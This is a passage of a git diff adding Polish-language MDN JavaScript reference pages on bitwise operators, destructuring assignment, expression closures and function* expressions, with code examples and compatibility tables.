+<p>Jedynie dla celów dydaktycznych (jako że istnieje metoda <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString">Number.toString(2)</a></code>), pokażemy jak można zmodyfikować algorytm <code>arrayFromMask</code> tak, by tworzył zmienną <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> zawierającą binarną reprezentację danej liczby, zamiast tablicy zmiennych typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code>:</p>
+
+<pre class="brush: js">function createBinaryString(nMask) {
+ // nMask musi być pomiędzy -2147483648 a 2147483647
+ for (var nFlag = 0, nShifted = nMask, sMask = ''; nFlag &lt; 32;
+ nFlag++, sMask += String(nShifted &gt;&gt;&gt; 31), nShifted &lt;&lt;= 1);
+ return sMask;
+}
+
+var string1 = createBinaryString(11);
+var string2 = createBinaryString(4);
+var string3 = createBinaryString(1);
+
+alert(string1);
+// wypisuje 00000000000000000000000000001011, i.e. 11
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.7')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.8">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.7">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.10">Binary bitwise operators</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-bitwise-shift-operators')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-bitwise-operators">Binary bitwise operators</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://tc39.github.io/ecma262/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://tc39.github.io/ecma262/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-bitwise-operators">Binary bitwise operators</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.operators.bitwise")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Logical_Operators">Operatory logiczne</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html b/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html
new file mode 100644
index 0000000000..851acea725
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html
@@ -0,0 +1,493 @@
+---
+title: Przypisanie destrukturyzujące
+slug: Web/JavaScript/Referencje/Operatory/Destructuring_assignment
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Składnia <strong>przypisania destrukturyzującego</strong> jest wyrażeniem w JavaScript, które pozwala na wyciągnięcie danych z tablic bądź obiektów do odrębnych zmiennych.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js notranslate">var a, b, rest;
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+
+[a, b, ...rest] = [1, 2, 3, 4, 5];
+console.log(a); // 1
+console.log(b); // 2
+console.log(rest); // [3, 4, 5]
+
+({a, b} = {a:1, b:2});
+console.log(a); // 1
+console.log(b); // 2
+
+// ES2016 - nie zaimplementowane w przeglądarce Firefox 47a01
+({a, b, ...rest} = {a:1, b:2, c:3, d:4}); </pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Wyrażenie literału obiektowego i tablicowego umożliwiają łatwe tworzenie paczek danych <em>ad-hoc</em>. </p>
+
+<pre class="brush: js notranslate">var x = [1, 2, 3, 4, 5];</pre>
+
+<p>Składnia przypisania destrukturyzacyjnego używa podobnej składni, ale z lewej strony przypisania definiujemy, które elementy wyciągnąć ze zmiennej źródłowej.</p>
+
+<pre class="brush: js notranslate">var x = [1, 2, 3, 4, 5];
+var [y, z] = x;
+console.log(y); // 1
+console.log(z); // 2
+</pre>
+
+<p>Funkcjonalność ta jest podobna do tych obecnych w językach takich jak Perl i Python.</p>
+
+<h2 id="Destrukturyzacja_tablic">Destrukturyzacja tablic</h2>
+
+<h3 id="Podstawowe_przypisanie_zmiennych">Podstawowe przypisanie zmiennych</h3>
+
+<pre class="brush: js notranslate">var foo = ["one", "two", "three"];
+
+var [one, two, three] = foo;
+console.log(one); // "one"
+console.log(two); // "two"
+console.log(three); // "three"
+</pre>
+
+<h3 id="Przypisanie_oddzielne_od_deklaracji">Przypisanie oddzielne od deklaracji</h3>
+
+<p>Zmiennej można przypisać wartość poprzez destrukturyzację oddzielnie od deklaracji tej zmiennej.</p>
+
+<pre class="brush:js notranslate">var a, b;
+
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="Domyślne_wartości">Domyślne wartości</h3>
+
+<p>Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z tablicy jest niezdefiniowana - <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">var a, b;
+
+[a=5, b=7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+</pre>
+
+<h3 id="Zamiana_zmiennych">Zamiana zmiennych</h3>
+
+<p>Dwie zmienne mogą zamienić się miejscami przy wykorzystaniu jednego wyrażenia destrukturyzującego.</p>
+
+<p>Bez wyrażenia destrukturyzującego, zamiana zmiennych wymaga zmiennej tymaczasowej (bądź, w niektórych językach niskiego poziomu, tricku <a class="external" href="https://en.wikipedia.org/wiki/XOR_swap_algorithm">XOR-swap</a>).</p>
+
+<pre class="brush:js notranslate">var a = 1;
+var b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+</pre>
+
+<h3 id="Parsowanie_tablicy_zwróconej_przez_funkcję">Parsowanie tablicy zwróconej przez funkcję</h3>
+
+<p>Zwrócenie tablicy poprzez funkcję zawsze było możliwe. Destrukturyzacja może sprawić, że praca ze zwróconymi wartościami typu array będzie bardziej zwięzła.</p>
+
+<p>W tym przykładzie, <code>f()</code> zwraca wartości <code>[1, 2]</code> jako jej wyjście, mogą one być sparsowane w jednej linijce poprzez użycie destrukturyzacji.</p>
+
+<pre class="brush:js notranslate">function f() {
+ return [1, 2];
+}
+
+var a, b;
+[a, b] = f();
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="Ignorowanie_niektórych_zwróconych_wartości">Ignorowanie niektórych zwróconych wartości</h3>
+
+<p>Możesz zignorować zwrócone wartości, którymi nie jesteś zainteresowany.</p>
+
+<pre class="brush:js notranslate">function f() {
+ return [1, 2, 3];
+}
+
+var [a, , b] = f();
+console.log(a); // 1
+console.log(b); // 3
+</pre>
+
+<p>Możesz także zignorować wszystkie zwrócone wartości:</p>
+
+<pre class="brush:js notranslate">[,,] = f();
+</pre>
+
+
+
+<h3 id="Przypisanie_reszty_tablicy_do_zmiennej">Przypisanie reszty tablicy do zmiennej</h3>
+
+<p>Podczas destrukturyzacji array'a możesz wypakować i przypisać jego pozostałą część do zmiennej używając operatora reszty:</p>
+
+<pre class="brush: js notranslate">var [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]</pre>
+
+<p>Zwróć uwagę, że zostanie wyrzucony {{jsxref("SyntaxError")}} jeśli końcowy przecinek będzie użyty z prawej strony wyrażenia z elementem reszty: </p>
+
+<pre class="brush: js notranslate">var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma</pre>
+
+<h3 id="Wypakowywanie_wartości_z_wyników_wyrażenia_regularnego">Wypakowywanie wartości z wyników wyrażenia regularnego</h3>
+
+<p>Gdy metoda wyrażenia regularnego  <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">exec()</a></code> znajdzie pasujący element, zwraca ona tablicę zawierającą kolejno cały string zawierajacy pasujące elementy, a później elementy stringa, które pasowały do każdej grupy wyrażenia regularnego znajdującej się w nawiasach. Wyrażenie destrukturyzujące pozwala na łatwe wypakowanie elementów tej tablicy ignorując pełny string, gdy nie jest on potrzebny. </p>
+
+<pre class="brush: js notranslate">function parseProtocol(url) {
+ var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+ if (!parsedURL) {
+ return false;
+ }
+ console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"]
+
+ var [, protocol, fullhost, fullpath] = parsedURL;
+ return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"</pre>
+
+<h2 id="Destrukturyzacja_obiektów">Destrukturyzacja obiektów</h2>
+
+<h3 id="Podstawowe_przypisanie">Podstawowe przypisanie</h3>
+
+<pre class="brush: js notranslate">var o = {p: 42, q: true};
+var {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+</pre>
+
+<h3 id="Przypisanie_bez_deklaracji">Przypisanie bez deklaracji</h3>
+
+<p>Zmiennej można przypisać wartość poprzez destrukturyazację oddzielnie od deklaracji tej zmiennej.</p>
+
+<pre class="brush:js notranslate">var a, b;
+
+({a, b} = {a:1, b:2});</pre>
+
+<div class="note">
+<p>Nawiasy<code>( .. )</code> na krawędziach wyrażenia przypisania są składnią wymaganą podczas używania wyrażenia destrukturyzującego literał obiektowy bez deklaracji.</p>
+
+<p><code>{a, b} = {a:1, b:2}</code> nie jest poprawną składnią samą w sobie, ponieważ <code>{a, b}</code> z lewej strony wyrażenia jest odbierana jako blok, a nie literał obiektowy.</p>
+
+<p>Ale już, <code>({a, b} = {a:1, b:2})</code> jest poprawne, tak samo jak <code>var {a, b} = {a:1, b:2}</code></p>
+</div>
+
+<h3 id="Przypisanie_do_nowych_nazw_zmiennych">Przypisanie do nowych nazw zmiennych</h3>
+
+<p>Zmienna może być wyciągnięta z obiektu i przypisana do zmiennej z inną nazwą niż nazwa właściwości obiektu.</p>
+
+<pre class="brush: js notranslate">var o = {p: 42, q: true};
+var {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true  </pre>
+
+<h3 id="Wartości_domyślne">Wartości domyślne</h3>
+
+<p>Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z obiektu jest <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">var {a=10, b=5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5</pre>
+
+
+
+<h3 id="Przypisywanie_do_nowych_nazw_zmiennych_i_zapewnienie_wartości_domyślnych">Przypisywanie do nowych nazw zmiennych i zapewnienie wartości domyślnych</h3>
+
+<p>Właściwość może być zarówno 1) wypakowana z obiektu i przypisana do zmiennej z inną nazwą 2) może być jej przypisana wartość domyślna, gdy wypakowana wartość jest <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">var {a:aa = 10, b:bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5</pre>
+
+
+
+<h3 id="Ustawianie_domyślnej_wartości_parametru_funkcji">Ustawianie domyślnej wartości parametru funkcji </h3>
+
+<h4 id="Wersja_ES5">Wersja ES5</h4>
+
+<pre class="brush: js notranslate">function drawES5Chart(options) {
+ options = options === undefined ? {} : options;
+ var size = options.size === undefined ? 'big' : options.size;
+ var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords;
+ var radius = options.radius === undefined ? 25 : options.radius;
+ console.log(size, cords, radius);
+ // now finally do some chart drawing
+}
+
+drawES5Chart({
+ cords: { x: 18, y: 30 },
+ radius: 30
+});</pre>
+
+<h4 id="Wersja_ES2015_ES6">Wersja ES2015 (ES6)</h4>
+
+<pre class="brush: js notranslate">function drawES2015Chart({size = 'big', cords = { x: 0, y: 0 }, radius = 25} = {}) {
+ console.log(size, cords, radius);
+ // do some chart drawing
+}
+
+// In Firefox, default values for destructuring assignments are not yet implemented (as described below).
+// The workaround is to write the parameters in the following way:
+// ({size: size = 'big', cords: cords = { x: 0, y: 0 }, radius: radius = 25} = {})
+
+drawES2015Chart({
+ cords: { x: 18, y: 30 },
+ radius: 30
+});</pre>
+
+<div class="note">
+<p>W definicji funkcji <strong><code>drawES2015Chart()</code></strong> powyżej, destrukturyzowana lewa strona wyrażenia jest przypisana do pustego literału obiektowego z prawej strony: <code>{size = 'big', cords = {x: 0, y: 0}, radius = 25} = {}</code>. Można by było również napisać funkcję bez prawostronnego przypisania. Jednakże jeśli zostawisz prawą stroę przypisania, funkcja będzie szukać przynajmniej jednego argumentu podczas wywołania, natomiast w jej obecnej formie możesz po prostu wywołać <code><strong>drawES2015Chart()</strong></code> bez podawania parametrów. Ten sposób jest użyteczny gdy chcesz mieć możliwość wywołania funkcji bez podawania parametrów, ten drugi może być użyteczny, gdy chcesz być pewny, że obiekt został wprowadzony do funkcji.</p>
+</div>
+
+<h3 id="Obiekt_zagnieżdżony_i_destrukturyzacja_tablic">Obiekt zagnieżdżony i destrukturyzacja tablic</h3>
+
+<pre class="brush:js notranslate">var metadata = {
+    title: "Scratchpad",
+    translations: [
+       {
+        locale: "de",
+        localization_tags: [ ],
+        last_edit: "2014-04-14T08:43:37",
+        url: "/de/docs/Tools/Scratchpad",
+        title: "JavaScript-Umgebung"
+       }
+    ],
+    url: "/en-US/docs/Tools/Scratchpad"
+};
+
+var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"</pre>
+
+<h3 id="Iteracja_for..of_i_destrukturyzacja">Iteracja for..of i destrukturyzacja</h3>
+
+<pre class="brush: js notranslate">var people = [
+  {
+    name: "Mike Smith",
+    family: {
+      mother: "Jane Smith",
+      father: "Harry Smith",
+      sister: "Samantha Smith"
+    },
+    age: 35
+  },
+  {
+    name: "Tom Jones",
+    family: {
+      mother: "Norah Jones",
+      father: "Richard Jones",
+      brother: "Howard Jones"
+    },
+    age: 25
+  }
+];
+
+for (var {name: n, family: { father: f } } of people) {
+ console.log("Name: " + n + ", Father: " + f);
+}
+
+// "Name: Mike Smith, Father: Harry Smith"
+// "Name: Tom Jones, Father: Richard Jones"</pre>
+
+<h3 id="Wyciąganie_pól_z_obiektów_przekazanych_jako_parametr_funkcji">Wyciąganie pól z obiektów przekazanych jako parametr funkcji</h3>
+
+<pre class="brush:js notranslate">function userId({id}) {
+ return id;
+}
+
+function whois({displayName, fullName: {firstName: name}}){
+ console.log(displayName + " is " + name);
+}
+
+var user = {
+ id: 42,
+ displayName: "jdoe",
+ fullName: {
+ firstName: "John",
+ lastName: "Doe"
+ }
+};
+
+console.log("userId: " + userId(user)); // "userId: 42"
+whois(user); // "jdoe is John"</pre>
+
+<p>To wyciąga <code>id</code>, <code>displayName</code> i <code>firstName</code> z obiektu <em>user </em>i wypisuje je.</p>
+
+<h3 id="Wyznaczane_nazwy_właściwości_obiektów_i_destrukturyzacja">Wyznaczane nazwy właściwości obiektów i destrukturyzacja</h3>
+
+<p>Wyznaczane nazwy waściwości, tak samo jak wh <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">literałach obiektowych</a>, mogą być używane z destrukturyzacją.</p>
+
+<pre class="brush: js notranslate">let key = "z";
+let { [key]: foo } = { z: "bar" };
+
+console.log(foo); // "bar"
+</pre>
+
+
+
+<h3 id="Reszta_w_destrukturyzacji_obiektów">Reszta w destrukturyzacji obiektów</h3>
+
+<p><a href="https://github.com/tc39/proposal-object-rest-spread">Własciwości reszty/rozproszenia dla ECMAScript</a> (proponowane, etap 3) dodają składnię <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">reszty</a> do destrukturyzacji. Właściwości reszty zbierają pozostałe klucze, które nie zostały pobrane poprzez wzorzec destrukturyzacji.</p>
+
+<pre class="brush: js notranslate">let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
+a; // 10
+b; // 20
+rest; // { c: 30, d: 40 }</pre>
+
+<h3 id="Nipoprawny_identyfikator_JavaScript_jako_nazwa_własności">Nipoprawny identyfikator JavaScript jako nazwa własności</h3>
+
+<p>Destrukturyzacja może zostać użyta z nazwami własności, które nie są poprawnymi <a href="https://developer.mozilla.org/en-US/docs/Glossary/Identifier">identyfikatorami</a> JavaScript poprzez zapewnienie alternatywnego, poprawnego identyfikatora.</p>
+
+<pre class="brush: js notranslate">const foo = { 'fizz-buzz': true };
+const { 'fizz-buzz': fizzBuzz } = foo;
+
+console.log(fizzBuzz); // "true"</pre>
+
+
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja wstępna.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Edge</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+ <td>14</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ <td>{{ CompatGeckoDesktop("34") }}</td>
+ <td>14</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Spread operator</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ <td>{{ CompatGeckoDesktop("34") }}</td>
+ <td>12<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ <td>{{ CompatGeckoMobile("1.0") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ <td>{{ CompatGeckoMobile("34") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ </tr>
+ <tr>
+ <td>Spread operator</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ <td>{{ CompatGeckoMobile("34") }}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(49.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Wymaga odblokowanej flagi "Enable experimental Javascript features" w `about:flags`</p>
+
+<h2 id="Notatki_specyficzne_dla_Firefoxa">Notatki specyficzne dla Firefox'a</h2>
+
+<ul>
+ <li>Firefox zapewnił niestandardowe rozszerzenie języka w <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS1.7</a> dla destrukturyzacji. To rozszerzenie zostało usunięte w Gecko 40 {{geckoRelease(40)}}. Zobacz {{bug(1083498)}}.</li>
+ <li>Poczynając od Gecko 41 {{geckoRelease(41)}} żeby dostosować się do specyfikacji ES2015, składnia destrukturyzacji używająca nawiasów, takia jak<code>([a, b]) = [1, 2])</code> lub <code>({a, b}) = { a: 1, b: 2 }</code>, jest teraz uważana za niepoprawną i spowoduje {{jsxref("SyntaxError")}}. Zobacz<a class="external external-icon" href="http://whereswalden.com/2015/06/20/new-changes-to-make-spidermonkeys-and-firefoxs-parsing-of-destructuring-patterns-more-spec-compliant/">post Jeffa Waldena </a>oraz {{bug(1146136)}} aby uzyskać więcej informacji.</li>
+</ul>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/">"ES6 in Depth: Destructuring" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/domknięcia_wyrażeń/index.html b/files/pl/web/javascript/referencje/operatory/domknięcia_wyrażeń/index.html
new file mode 100644
index 0000000000..66cf07b36c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/domknięcia_wyrażeń/index.html
@@ -0,0 +1,78 @@
+---
+title: Domknięcia wyrażeń
+slug: Web/JavaScript/Referencje/Operatory/Domknięcia_wyrażeń
+tags:
+ - JavaScript
+ - Operator
+ - funkcja
+ - niestandardowe
+ - przestarzały
+translation_of: Archive/Web/JavaScript/Expression_closures
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko60")}}
+<div class="warning"><strong>Niestandardowe. Nie używać!</strong><br>
+Składnia domknięcia wyrażeń jest przestarzałą funkcją specyficzną dla Firefoxa i została usunięta od Firefoxa 60. Dla obecnie tworzonych rozwiązań rozważ użycie <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funkcji strzałkowych</a>.</div>
+</div>
+
+<p>Domknięcia wyrażeń są skróconą składnią dla zapisu prostych funkcji.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">function [nazwa]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]])
+ <em>wyrażenie</em>
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>nazwa</code></dt>
+ <dd>Nazwa funkcji. Może być pominięta w przypadku, gdy funkcja jest <em>anonimowa</em>. Nazwa jest lokalna i ograniczona jedynie do ciała funkcji.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Nazwa argumentu, który ma być przekazany do funkcji. Funkcja może mieć do 255 argumentów.</dd>
+ <dt><code>wyrażenie</code></dt>
+ <dd>Wyrażenie, które zawiera ciało funkcji.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Ten dodatek nie jest niczym więcej niż skróconą notacją dla prostych funkcji, która daje językowi coś podobnego do typowej <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">notacji lambda</a>.</p>
+
+<p>JavaScript 1.7 i starsze:</p>
+
+<pre class="brush: js">function(x) { return x * x; }</pre>
+
+<p>JavaScript 1.8:</p>
+
+<pre class="brush: js">function(x) x * x</pre>
+
+<p>Taka składnia pozwala na pominięcie nawiasów klamrowych i wyrażenia <code>return</code>, czyniąc je niejawnymi. Poza skróceniem zapisu, nie ma innych korzyści z pisania kodu w ten sposób.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Skrócony zapis dla dowiązywania obserwatorów zdarzeń (ang. <em>event listeners</em>):</p>
+
+<pre class="brush: js"> document.addEventListener('click', function() false, true);
+</pre>
+
+<p>Użycie tej notacji z niektórymi z funkcji strzałkowych z JavaScript 1.6:</p>
+
+<pre class="brush: js">elems.some(function(elem) elem.type == 'text');
+</pre>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.operators.expression_closures")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{JSxRef("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{JSxRef("Function")}}</li>
+ <li>{{JSxRef("Statements/function", "function statement")}}</li>
+ <li>{{JSxRef("Operators/function", "function expression")}}</li>
+ <li>{{JSxRef("Statements/function*", "function* statement")}}</li>
+ <li>{{JSxRef("Operators/function*", "function* expression")}}</li>
+ <li>{{JSxRef("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/function_star_/index.html b/files/pl/web/javascript/referencje/operatory/function_star_/index.html
new file mode 100644
index 0000000000..52d7a67c98
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/function_star_/index.html
@@ -0,0 +1,90 @@
+---
+title: wyrażenie function*
+slug: Web/JavaScript/Referencje/Operatory/function*
+tags:
+ - ECMAScript2015
+ - Iterator
+ - JavaScript
+ - Operator
+ - funkcja
+translation_of: Web/JavaScript/Reference/Operators/function*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Słowo kluczowe <strong><code>function*</code></strong> może być użyte do zdefiniowania funkcji generatora wewnątrz wyrażenia.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">function* [nazwa]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+ wyrażenia
+}</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>nazwa</code></dt>
+ <dd>Nazw funkcji. Może być pominięta w przyadku funkcji <em>anonimowych</em>. Nazwa jest lokalna i ograniczona do ciała funkcji.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Nazwa argumentu przekazywanego do funkcji. Funkcja może mieć do 255 argumentów.</dd>
+ <dt><code>wyrażenia</code></dt>
+ <dd>Wyrażenia, które zawiera ciało funkcji.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Wyrażenie <code>function*</code> jest bardzo podobne i ma niemal taką samą składnię jak {{jsxref('Statements/function*', 'polecenie function*')}}. Zasadnicza różnica między wyrażenem <code>function*</code> a poleceniem <code>function*</code> to <em>nazwa funkcji</em>, która może być pominięta w wyrażeniach <code>function*</code>, co pozwala na tworzenie anonimowych funkcji generatorów. Zobacz również rozdział o <a href="/en-US/docs/Web/JavaScript/Reference/Functions">funkcjach</a>, aby dowiedzieć się więcej.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Następujący przykład definiuje nienazwaną funkcję generatora i przypisuje ją do <code>x</code>. Funkcja zwraca przekazany argument podniesiony do kwadratu.</p>
+
+<pre class="brush: js">var x = function*(y) {
+ yield y * y;
+};
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.operators.function_star")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
